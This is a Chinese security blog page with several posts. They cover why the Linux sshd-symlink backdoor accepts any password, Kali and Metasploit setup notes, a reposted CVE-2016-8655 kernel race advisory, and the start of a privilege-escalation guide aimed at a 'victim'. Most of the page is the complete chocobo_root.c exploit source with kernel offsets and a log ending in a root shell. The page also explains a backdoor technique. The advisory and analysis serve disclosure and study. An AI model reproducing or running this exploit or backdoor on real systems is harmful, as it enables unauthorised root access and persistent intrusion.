Linux-终于明白' blog|关注信息安全
欢迎光临
一直在努力

Linux经典后门的探究

今天在搜索关于Linux下的后门姿势时,发现一条命令如下:
软链接后门:

经典后门。直接对sshd建立软连接,之后用任意密码登录即可。
ssh [email protected] -p 5555这个是大家也经常会用到的命令,但是在好奇心的驱使下,为什么任意密码就可以了?
于是搜索了相关的资料,发现都是执行了这条命令就可以免密码登录了,但是为什么却没有一篇详细的解答。
1.2   调查

首先测试一下这个命令:

自动草稿

在A的机器上执行了如下命令:

在B机器SSH登录A机器,输入任意密码,成功登录。
先理解这条命令主要在做什么:
首先,做一个软链接,结果在/tmp/su  参数的意义: -o option  -p port
这样就开启了一个端口为5555的服务:
自动草稿
测试过程中发现,只允许命名为su,命名其他尝试登录都不成功(/tmp/xxx)。
自动草稿
于是看了一下sshd相关的log,发现如下:
自动草稿
发现是基于pam认证的,使用了pam中的su,为了区分是否和/bin/中的su是否相关,做了测试如下:

自动草稿
把/bin/su 重新命名为其他文件,发现依然能够任意密码登录,又做了测试如下:

自动草稿

在此执行:

自动草稿

成功登录,根据日志和实践现在确认调用的是/etc/pam.d/su

1.3   疑问

现在确认了是pam中的su导致的,为什么就不需要密码就可以登录?
简单的diff了一下pam中的sshd和su的区别:
自动草稿
这里需要了解一下PAM中的控制标记:
自动草稿
sshd的pam认证使用了required和include,su使用了sufficient,在此就可以看出二者的区别了。
我们发现su的认证使用了pam_rootok.so,他是如何验证的,为什么导致我们输入任何密码就通过。
于是查了下pam_rootok.so的相关信息:
自动草稿

他的认证模块是认证你的UID是否为0,他会return pam的结果。
再去看一下pam_rootok.so的源码,发现:
自动草稿

他先会调用getuid(),如果get的uid为0,他会检查selinux的root是否为0或是否启用selinux下为0,返回认证成功,否则认证失败。
那么getuid()是从哪里来的,查一下官网:
自动草稿
是根据进程来取得的,根据pam_rootok的文档,我们也可以对su进行调试:
自动草稿
pam_rootok.so返回成功,依次向下执行so,都会成功,建立会话。
查看log:
自动草稿

第一条:

1.4   真相

至此也终于清楚了为什么就可以输入任意密码进行登录。
我们重新捋一捋:
自动草稿

1.5   彩蛋

实际的真相就是在pam中的pam_rootok模块,pam_rootok通过了认证还会一次向下执行,但是下面的都会依赖于pam_rootok的认证,auth =>account =>session:
自动草稿

通过查找其实不单单是su存在pam_rootok,只要满足了上述的三个条件都可以进行”任意密码登录”。

kali2.0安装搜狗输入法

 

修改软件源APT-sources.list

  1. vim /etc/apt/sources.list

将原来的注释掉,加了个阿里的
#阿里云kali源
deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

apt-get update & apt-get upgrade
首先从搜狗官网下载deb包,注意系统的位数即可

直接

[plain] view plain copy

在CODE上查看代码片派生到我的代码片

  1. dpkg -i sogoupinyin_2.0.0.0068_amd64.deb

产生了很多依赖用apt-get -f install 可以解决依赖,

之后再敲上面的dpkg命令即可,安装成功

安装完后,重启一下,ctrl+空格即可激活搜狗输入法,其实这是解决安装deb包有依赖的通用方法吧

我试过应该也可以的方法

就是用那些图形化的软件包管理器也可以,如GDebi(好像apt-get就可以直接安装了),可以像windows一下浏览一下deb包(先从搜狗官网下载对应的deb包,注意位数,32,64),自动化解决依赖

kali2.0 msf连接数据库及启动armitage

msf连接数据库

启动postgresql 服务:

service postgresql start

进入 postgres:

su postgres
输入如下命令创建一个postgresql数据库账户:

createuser msf3 –P

命令中的msf3就是要创建的用户,当然你可以输入任何其他用户名。

接着,终端中会提示你输入密码,然后确认密码,这里我设置密码为“msf3”。

然后询问你该账户的权限,输入y或者n都无所谓。

创建数据库:

createdb –owner=msf3 msf3

owner参数指定数据库的所有者,这里为msf3,最后一个参数为数据库名称,这里也设置为msf3。

输入exit退出当前用户,回到root上下文中。回到手动连接的步骤:

[email protected]: msfconsole

msf > db_connect msf3:[email protected]/msf3

启动armitage

开启 服务:
service postgresql start

设置用户名,IP,端口
msfrpcd -U msf -P msf -f -S -a 127.0.0.1
端口 55553 IP 127.0.0.1  user:msf pass:msf
启动:
armitage

(连不上试下这命令msfdb init)

【漏洞预警】CVE-2016-8655:Linux内核竞争条件漏洞,可致本地提权 (附PoC)

Seclists.org最新披露了Linux的竞争条件漏洞,漏洞编号为CVE-2016-8655。此漏洞可用于从低权限进程中执行内核代码。

漏洞编号

CVE-2016-8655

漏洞概述

Clipboard Image.png

Philip Pettersson在Linux (net/packet/af_packet.c)发现条件竞争漏洞,此漏洞可用于从未授权进程中执行内核代码。攻击者只需要本地低权限,就能利用该漏洞致拒绝服务(系统崩溃)或者以管理员权限执行任意代码

packet_set_ring在创建ring buffer的时候,如果packet版本为TPACKET_V3,则会初始化struct timer_list。在packet_set_ring完成之前,其他线程可调用setsockopt将packet版本设定为TPACKET_V1。此时先前初始化的timer不会被删除,也就形成了套接字关闭时struct timer_list中函数指针的user after free漏洞。

这个BUG最早出现于2011年4月19号的代码中,详细参考:

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

该BUG已经于2016年11月30号被修复,详细参考:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

漏洞细节

要创建AF-PACKET套接字,在网络命名空间中就需要CAP_NET_RAW。在低权限命名空间可用的系统中(Ubuntu、Fedora等),这可以通过未授权进程获取。这个漏洞在容器中即可触发,最终攻陷主机内核。在Android系统中,带gid=3004/AID_NET_RAW的进程可创建AF_PACKET套接字,并触发该BUG。

问题主要出在packet_set_ring()和packet_setsockopt()中。使用PACKET_RX_RING选项在socket中调用setsockopt(),就能搞定packet_set_ring()。

如果packet套接字版本为TPCKET_V3,调用init_prb_bdqc()的时候,packet_set_ring()就会对timer_list对象进行初始化。

switch (po->tp_version) {

case TPACKET_V3:

/* Transmit path is not supported. We checked

                 * it above but just being paranoid

                 */

if (!tx_ring)

init_prb_bdqc(po, rb, pg_vec, req_u);

break;

default:

break;

}

创建timer的函数流为:

packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->

prb_init_blk_timer()->prb_init_blk_timer()->init_timer()

该套接字关闭时,packet_set_ring()会再度被调用,来释放ring buffer,并删除先前初始化的timer(当packet版本大于TPACKET_V2时):

if (closing && (po->tp_version > TPACKET_V2)) {

/* Because we don’t support block-based V3 on tx-ring */

if (!tx_ring)

prb_shutdown_retire_blk_timer(po, rb_queue);

}

此处的问题就出在,在init_prb_bdqc()执行之后,packet_set_ring()返回之前,我们可以将packet版本改为TPACKET_V1。

不过ring buffer被初始化之后,会存在拒绝修改套接字版本的情况,但这也根本不是什么问题:

case PACKET_VERSION:

{

if (po->rx_ring.pg_vec || po->tx_ring.pg_vec)

return -EBUSY;

在init_prb_bdqc()和packet_set_ring()的交换(rb->pg_vec, pg_vec)调用之间,还是有足够的空间来搞定这条代码路径。

此时,套接字关闭时,由于套接字版本已经为TPACKET_V1,packet_set_ring()就不会删除timer。描绘timer对象的struct timer_list位于struct packet_sock中,调用kfree()就会释放。

随后timer对象之上就形成了use after free漏洞,可被各种针对SLAB分配器的攻击利用。最终timer过期后,就可导致内核跳转至构建的函数指针。

在packet_setsockopt()中用lock_sock(sk),同时在packet_set_ring()起始就锁定packet版本即可解决问题。

新版Ubuntu内核已经放出,用户升级至新版Ubuntu即可解决问题。

漏洞PoC

按照发现该漏洞的作者Philip Pettersson所说,漏洞PoC会在明天放出…

PoC地址:https://www.exploit-db.com/exploits/40871/

/*
chocobo_root.c
linux AF_PACKET race condition exploit
exploit for Ubuntu 16.04 x86_64

vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
[email protected]:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
[email protected]:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
[email protected]:~$ gcc chocobo_root.c -o chocobo_root -lpthread
[email protected]:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..

new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!


stage 1 completed
registering new sysctl..

new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won

retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!

stage 2 completed
binary executed by kernel, launching rootshell
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

There are offsets included for older kernels, but they're untested
so be aware that this exploit will probably crash kernels older than 4.4.

tested on:
Ubuntu 16.04: 4.4.0-51-generic
Ubuntu 16.04: 4.4.0-47-generic
Ubuntu 16.04: 4.4.0-36-generic
Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu

Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee

11/2016
by rebel
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <linux/if_packet.h>
#include <pthread.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <sys/syscall.h>
#include <signal.h>
#include <sched.h>
#include <sys/utsname.h>

volatile int barrier = 1;
volatile int vers_switcher_done = 0;

struct offset {
    char *kernel_version;
    unsigned long proc_dostring;
    unsigned long modprobe_path;
    unsigned long register_sysctl_table;
    unsigned long set_memory_rw;
};


struct offset *off = NULL;

//99% of these offsets haven't actually been tested :)
 

struct offset offsets[] = {
    {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
    {"4.4.0-47-generic #68~14.04.1",0,0,0,0},
    {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
    {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
    {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
    {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
    {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
    {"4.2.0-17-generic #21",0,0,0,0},
    {"4.2.0-18-generic #22",0,0,0,0},
    {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
    {"4.2.0-21-generic #25~14.04.1",0,0,0,0},
    {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
    {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
    {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
    {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
    {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
    {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
    {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
    {"4.2.0-23-generic #28",0,0,0,0},
    {"4.2.0-25-generic #30",0,0,0,0},
    {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
    {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
    {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
    {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
    {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
    {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
    {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
    {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
    {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
    {"4.2.0-25-generic #30~14.04.1",0,0,0,0},
    {"4.2.0-23-generic #28~14.04.1",0,0,0,0},
    {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
    {"4.4.0-47-generic #68",0,0,0,0},
    {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
    {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
    {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
    {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
    {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
    {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
    {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
    {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
    {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
    {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
    {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
    {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
    {"4.8.0-26-generic #28",0,0,0,0},
    {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
    {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
    {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
    {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
    {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
    {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
    {"4.2.0-19-generic #23",0,0,0,0},
    {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
    {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
    {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
    {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
    {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
    {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
    {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
    {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
    {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
    {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
//{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
    {NULL,0,0,0,0}
};

#define VSYSCALL 0xffffffffff600000

#define PAD 64

int pad_fds[PAD];

struct ctl_table {
    const char *procname;
    void *data;
    int maxlen;
    unsigned short mode;
    struct ctl_table *child;
    void *proc_handler;
    void *poll;
    void *extra1;
    void *extra2;
};

#define CONF_RING_FRAMES 1

struct tpacket_req3 tp;
int sfd;
int mapped = 0;

struct timer_list {
    void *next;
    void *prev;
    unsigned long           expires;
    void                    (*function)(unsigned long);
    unsigned long           data;
    unsigned int                     flags;
    int                     slack;
};

void *setsockopt_thread(void *arg)
{
    while(barrier) {
    }
    setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));

    return NULL;
}

void *vers_switcher(void *arg)
{
    int val,x,y;

    while(barrier) {}

    while(1) {
        val = TPACKET_V1;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        y++;

        if(x != 0) break;

        val = TPACKET_V3;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        if(x != 0) break;

        y++;
    }

    fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
    vers_switcher_done = 1;


    return NULL;
}

#define BUFSIZE 1408
char exploitbuf[BUFSIZE];

void kmalloc(void)
{
    while(1)
        syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
}


void pad_kmalloc(void)
{
    int x;

    for(x=0; x<PAD; x++)
        if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
            fprintf(stderr,"pad_kmalloc() socket error\n");
            exit(1);
        }

}

int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    pthread_t setsockopt_thread_thread,a;
    int val;
    socklen_t l;
    struct timer_list *timer;
    int fd;
    struct tpacket_block_desc *pbd;
    int off;
    sigset_t set;

    sigemptyset(&set);

    sigaddset(&set, SIGSEGV);

    if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
        exit(1);
    }

    fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);

    pad_kmalloc();

    fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));

    if (fd==-1) {
        printf("target socket error\n");
        exit(1);
    }

    pad_kmalloc();

    fprintf(stderr,"sockets allocated\n");

    val = TPACKET_V3;

    setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

    tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
    tp.tp_block_nr = 1;
    tp.tp_frame_size = getpagesize();
    tp.tp_frame_nr = CONF_RING_FRAMES;

//try to set the timeout to 10 seconds
//the default timeout might still be used though depending on when the race was won
    tp.tp_retire_blk_tov = 10000;

    sfd = fd;

    if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
        fprintf(stderr, "Error creating thread\n");
        return 1;
    }


    pthread_create(&a, NULL, vers_switcher, (void *)NULL);

    usleep(200000);

    fprintf(stderr,"removing barrier and spraying..\n");

    memset(exploitbuf,'\x00',BUFSIZE);

    timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
    timer->next = 0;
    timer->prev = 0;

    timer->expires = 4294943360;
    timer->function = (void *)func;
    timer->data = arg;
    timer->flags = 1;
    timer->slack = -1;


    barrier = 0;

    usleep(100000);

    while(!vers_switcher_done)usleep(100000);

    l = sizeof(val);
    getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);

    fprintf(stderr,"current packet version = %d\n",val);

    pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);


    if(pbd == MAP_FAILED) {
        fprintf(stderr,"could not map pbd\n");
        exit(1);
    }

    else {
        off = pbd->hdr.bh1.offset_to_first_pkt;
        fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
    }


    if(val == TPACKET_V1 && off != 0) {
        fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
    }

    else {
        fprintf(stderr,"race not won\n");
        exit(2);
    }

    munmap(pbd, tp.tp_block_size * tp.tp_block_nr);

    pthread_create(&a, NULL, verification_func, (void *)NULL);

    fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
    sleep(1);
    fprintf(stderr,"closing socket and verifying..");

    close(sfd);

    kmalloc();

    fprintf(stderr,"all messages sent\n");

    sleep(31337);
    exit(1);
}


int verification_result = 0;

void catch_sigsegv(int sig)
{
    verification_result = 0;
    pthread_exit((void *)1);
}


void *modify_vsyscall(void *arg)
{
    unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
    unsigned long x = (unsigned long)arg;

    sigset_t set;
    sigemptyset(&set);
    sigaddset(&set, SIGSEGV);

    if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
        exit(1);
    }

    signal(SIGSEGV, catch_sigsegv);

    *vsyscall = 0xdeadbeef+x;

    if(*vsyscall == 0xdeadbeef+x) {
        fprintf(stderr,"\nvsyscall page altered!\n");
        verification_result = 1;
        pthread_exit(0);
    }

    return NULL;
}

void verify_stage1(void)
{
    int x;
    pthread_t v_thread;

    sleep(5);

    for(x=0; x<300; x++) {

        pthread_create(&v_thread, NULL, modify_vsyscall, 0);

        pthread_join(v_thread, NULL);

        if(verification_result == 1) {
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    printf("could not modify vsyscall\n");

    exit(1);
}

void verify_stage2(void)
{
    int x;
    struct stat b;

    sleep(5);

    for(x=0; x<300; x++) {

        if(stat("/proc/sys/hack",&b) == 0) {
            fprintf(stderr,"\nsysctl added!\n");
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    printf("could not add sysctl\n");
    exit(1);


}

void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    int status;
    int pid;

retry:

    pid = fork();

    if(pid == 0) {
        try_exploit(func, arg, verification_func);
        exit(1);
    }

    wait(&status);

    printf("\n");

    if(WEXITSTATUS(status) == 2) {
        printf("retrying stage..\n");
        kill(pid, 9);
        sleep(2);
        goto retry;
    }

    else if(WEXITSTATUS(status) != 0) {
        printf("something bad happened, aborting exploit attempt\n");
        exit(-1);
    }



    kill(pid, 9);
}


void wrapper(void)
{
    struct ctl_table *c;

    fprintf(stderr,"exploit starting\n");
    printf("making vsyscall page writable..\n\n");

    exploit(off->set_memory_rw, VSYSCALL, verify_stage1);

    printf("\nstage 1 completed\n");

    sleep(5);

    printf("registering new sysctl..\n\n");

    c = (struct ctl_table *)(VSYSCALL+0x850);

    memset((char *)(VSYSCALL+0x850), '\x00', 1952);

    strcpy((char *)(VSYSCALL+0xf00),"hack");
    memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
    c->procname = (char *)(VSYSCALL+0xf00);
    c->mode = 0666;
    c->proc_handler = (void *)(off->proc_dostring);
    c->data = (void *)(off->modprobe_path);
    c->maxlen=256;
    c->extra1 = (void *)(VSYSCALL+0xe00);
    c->extra2 = (void *)(VSYSCALL+0xd00);

    exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);

    printf("stage 2 completed\n");
}

void launch_rootshell(void)
{
    int fd;
    char buf[256];
    struct stat s;


    fd = open("/proc/sys/hack",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"could not open /proc/sys/hack\n");
        exit(-1);
    }

    memset(buf,'\x00', 256);

    readlink("/proc/self/exe",(char *)&buf,256);

    write(fd,buf,strlen(buf)+1);

    socket(AF_INET,SOCK_STREAM,132);

    if(stat(buf,&s) == 0 && s.st_uid == 0) {
        printf("binary executed by kernel, launching rootshell\n");
        lseek(fd, 0, SEEK_SET);
        write(fd,"/sbin/modprobe",15);
        close(fd);
        execl(buf,buf,NULL);
    }

    else
        printf("could not create rootshell\n");


}

int main(int argc, char **argv)
{
    int status, pid;
    struct utsname u;
    int i, crash = 0;
    char buf[512], *f;


    if(argc == 2 && !strcmp(argv[1],"crash")) {
        crash = 1;
    }


    if(getuid() == 0 && geteuid() == 0 && !crash) {
        chown("/proc/self/exe",0,0);
        chmod("/proc/self/exe",06755);
        exit(-1);
    }

    else if(getuid() != 0 && geteuid() == 0 && !crash) {
        setresuid(0,0,0);
        setresgid(0,0,0);
        execl("/bin/bash","bash","-p",NULL);
        exit(0);
    }

    fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");

    uname(&u);

    if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';

    snprintf(buf,512,"%s %s",u.release,u.version);

    printf("kernel version: %s\n",buf);


    for(i=0; offsets[i].kernel_version != NULL; i++) {
        if(!strcmp(offsets[i].kernel_version,buf)) {

            while(offsets[i].proc_dostring == 0)
                i--;

            off = &offsets[i];
            break;
        }
    }

    if(crash) {
        off = &offsets[0];
        off->set_memory_rw = 0xffffffff41414141;
    }

    if(off) {
        printf("proc_dostring = %p\n",(void *)off->proc_dostring);
        printf("modprobe_path = %p\n",(void *)off->modprobe_path);
        printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
        printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
    }

    if(!off) {
        fprintf(stderr,"i have no offsets for this kernel version..\n");
        exit(-1);
    }

    pid = fork();

    if(pid == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if(unshare(CLONE_NEWNET) != 0)
            fprintf(stderr, "failed to create new network namespace\n");

        wrapper();
        exit(0);
    }

    waitpid(pid, &status, 0);

    launch_rootshell();
    return 0;
}

修复方法

如上所述,各Linux发行版需要升级至最新版Linux内核。针对Ubuntu 16.04 LTS的安全更新已经发布。另外这篇文章讲解了在不重启服务器的情况下,就对Ubuntu Linux内核打上补丁的方案。

Screen-Shot-2016-10-19-at-5.06.29-PM.png

相关链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8655

https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c

https://www.ubuntu.com/usn/usn-3151-1/

* 参考来源:Seclists.org,转载请注明来自FreeBuf.COM

【技术分享】Linux提权的4种方式

当你在攻击受害者的电脑时即使你拥有了一个shell,依然可能会有一些拒绝执行指令的限制。为了获得目标主机的完整控制权限,你需要在未授权的地方绕过权限控制。这些权限可以删除文件,浏览私人信息,或者安装并非受害者希望的软件例如计算机病毒。Metasploit 拥有各种使用不同技术的exploits在受害者电脑上尝试获取系统级权限。除此之外,这里还有一些在linux下使用的脚本。当你尝试在目标机器上提升权限时可能会很有用。通常它们的目的是枚举系统信息而不是给出具体的vulnerabilities/exploits。这种类型的脚本将会为你节省很多时间。

在Linux下使用payload并且开启反向连接的multi/handler,一旦你侵入了受害者的电脑马上使用下列脚本提升权限。

LinEnum


可以列举系统设置并且高度总结的linux本地枚举和权限提升检测脚本

